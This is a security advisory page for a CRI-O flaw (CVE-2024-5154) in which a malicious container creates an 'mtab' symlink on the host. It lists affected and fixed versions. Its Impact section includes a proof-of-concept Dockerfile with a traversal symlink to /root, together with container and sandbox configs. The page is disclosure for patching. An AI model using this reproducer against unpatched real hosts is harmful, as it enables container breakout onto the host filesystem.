malicious container creates symlink "mtab" on the host External
Published 4 Jun 2024 · Updated 8 Jul 2026
Is your project on an affected github.com/cri-o/cri-o?
Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected packages
- Affected
- >=1.28.6 <1.28.7
- Fixed in
- 1.28.7
go get github.com/cri-o/cri-o@v1.28.7- Affected
- >=1.29.4 <1.29.5
- Fixed in
- 1.29.5
go get github.com/cri-o/cri-o@v1.29.5- Affected
- >=1.30.0 <1.30.1
- Fixed in
- 1.30.1
go get github.com/cri-o/cri-o@v1.30.1Details
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
_Are there any links users can visit to find out more?_
Is GHSA-j9hf-98c3-wrm8 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/cri-o/cri-o, and gives you the command that fixes it.
More advisories for github.com/cri-o/cri-o
- LowCVE-2025-4437CRI-O has Potential High Memory Consumption from File Read in github.com/cri-o/cri-o · 29 Aug 2025
- MediumCVE-2025-4437CRI-O has Potential High Memory Consumption from File Read · 20 Aug 2025
- LowCVE-2025-0750CRI-O Path Traversal vulnerability in github.com/cri-o/cri-o · 29 Jan 2025
- MediumCVE-2025-0750CRI-O Path Traversal vulnerability · 28 Jan 2025
- LowCVE-2024-8676CRI-O: Maliciously structured checkpoint file can gain arbitrary node access in github.com/cri-o/cri-o · 4 Dec 2024
- MediumCVE-2024-8676CRI-O: Maliciously structured checkpoint file can gain arbitrary node access · 26 Nov 2024
References
- Linkgithub.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8
- Advisorynvd.nist.gov/vuln/detail/CVE-2024-5154
- Linkaccess.redhat.com/errata/RHSA-2024:10818
- Linkaccess.redhat.com/errata/RHSA-2024:3676
- Linkaccess.redhat.com/errata/RHSA-2024:3700
- Linkaccess.redhat.com/errata/RHSA-2024:4008
- Linkaccess.redhat.com/errata/RHSA-2024:4159
- Linkaccess.redhat.com/errata/RHSA-2024:4486
- Linkaccess.redhat.com/security/cve/CVE-2024-5154
- Linkbugzilla.redhat.com/show_bug.cgi?id=2280190
- Packagegithub.com/cri-o/cri-o
- Linkpkg.go.dev/vuln/GO-2024-2919
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.